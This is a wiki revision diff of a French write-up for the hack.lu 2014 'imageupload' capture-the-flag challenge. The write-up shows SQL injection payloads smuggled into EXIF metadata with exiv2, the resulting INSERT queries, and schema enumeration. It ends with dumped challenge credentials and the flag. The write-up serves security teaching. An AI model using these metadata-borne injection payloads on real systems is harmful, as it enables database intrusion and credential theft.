Cette page vous donne les différences entre la révision choisie et la version actuelle de la page.
|
hack.lu_2014:imageupload [2014/10/27 20:45] nico34 créée |
hack.lu_2014:imageupload [2017/04/09 15:33] (Version actuelle) |
||
|---|---|---|---|
| Ligne 13: | Ligne 13: | ||
| - | En arrivant sur le site on remarque une page login.php ainsi qu'une page index.php contenant un formulaire d'upload d'image. | + | En arrivant sur le site on remarque une page login.php ainsi qu'une page index.php contenant un formulaire d'upload d'image.\\ |
| - | En `uploadant̀` une image on remarque que différentes informations sont disponibles : | + | En `uploadant` une image on remarque que différentes informations sont disponibles : \\ |
| - | Width, Height, Author, Manufacturer et Model | + | **Width, Height, Author, Manufacturer et Model** |
| {{:hack.lu_2014:write1.png?200|}} | {{:hack.lu_2014:write1.png?200|}} | ||
| - | On devine rapidement qu'il y a surement de modifier ces métadonnées. | + | On devine rapidement qu'il y a surement de modifier ces métadonnées.\\ |
| - | Grâce à l'utilitaire exiv2[[http://www.exiv2.org/]], et en se renseignant dans la documentation, on trouve comment modifier les métadonnées d'une image: | + | Grâce à l'utilitaire exiv2[[http://www.exiv2.org/]], et en se renseignant dans la documentation, on trouve comment modifier les métadonnées d'une image:\\ |
| <code> | <code> | ||
| Ligne 34: | Ligne 34: | ||
| </code> | </code> | ||
| - | D'après les standards fournis par le site d'exiv2 [[http://www.exiv2.org/tags.html]] , on remarque les champs ImageWidth et ImageLength sont de type short, il ne sera donc pas possible d'y insérer des caractères spéciaux ou du texte. | + | D'après les standards fournis par le site d'exiv2 [[http://www.exiv2.org/tags.html]], on remarque les champs ImageWidth et ImageLength sont de type short, il ne sera donc pas possible d'y insérer des caractères spéciaux ou du texte.\\ |
| - | On modifie notre image pour tester une injection dans le prochain champ: | + | On modifie notre image pour tester une injection dans le prochain champ:\\ |
| <code> | <code> | ||
| exiv2 -M"set Exif.Image.Make toto'" img.jpg | exiv2 -M"set Exif.Image.Make toto'" img.jpg | ||
| </code> | </code> | ||
| - | La page nous renvoie : **Error inserting in DB.** | + | La page nous renvoie : **Error inserting in DB.**\\ |
| - | On image donc que la requête se forme comme ceci: | + | On image donc que la requête se forme comme ceci:\\ |
| + | <code> | ||
| INSERT INTO 'images' ('id','Height','Width','Author','Manufacturer','Model') VALUES (NULL,0,0,"","toto'",""); | INSERT INTO 'images' ('id','Height','Width','Author','Manufacturer','Model') VALUES (NULL,0,0,"","toto'",""); | ||
| + | </code> | ||
| - | On continue sur la voie de l'injection SQL: | + | On continue sur la voie de l'injection SQL:\\ |
| + | <code> | ||
| exiv2 -M"set Exif.Image.Make toto',(SELECT schema_name FROM information_schema.schemata LIMIT 1,1))#" img.jpg | exiv2 -M"set Exif.Image.Make toto',(SELECT schema_name FROM information_schema.schemata LIMIT 1,1))#" img.jpg | ||
| + | </code> | ||
| - | + | Ce qui nous donne une requête du type:\\ | |
| - | Ce qui nous donne une requête du type: | + | <code> |
| INSERT INTO 'images' ('id','Height','Width','Author','Manufacturer','Model') VALUES (NULL,0,0,"","toto',(SELECT schema_name FROM information_schema.schemata LIMIT 1,1))#<del>","");</del> | INSERT INTO 'images' ('id','Height','Width','Author','Manufacturer','Model') VALUES (NULL,0,0,"","toto',(SELECT schema_name FROM information_schema.schemata LIMIT 1,1))#<del>","");</del> | ||
| - | + | </code> | |
| - | Lors de l'affiche de l'image, nous remarquons le résultat de notre injection dans le champ Model. | + | Lors de l'affiche de l'image, nous remarquons le résultat de notre injection dans le champ Model.\\ |
| {{:hack.lu_2014:write2.png?200|}} | {{:hack.lu_2014:write2.png?200|}} | ||
| - | Nous continuons nos recherches sur la base 'chal': | + | Nous continuons nos recherches sur la base 'chal':\\ |
| - | # On encode le nom de la base en hexadécimal | + | <code> |
| + | # On encode le nom de la base en hexadécimal\\ | ||
| echo -n "chal" |xxd -ps | echo -n "chal" |xxd -ps | ||
| => 6368616c | => 6368616c | ||
| Ligne 85: | Ligne 90: | ||
| **=> 1:sheriff:AO7eikkOCucCFJOyyaaQ | **=> 1:sheriff:AO7eikkOCucCFJOyyaaQ | ||
| 2:deputy:testpw** | 2:deputy:testpw** | ||
| + | </code> | ||
| + | |||
| + | On peut maintenant se logguer avec le premier utilisateur:\\ | ||
| + | |||
| + | **You are sucessfully logged in.\\ | ||
| + | Flag: flag{1_5h07_7h3_5h3r1ff}**\\ | ||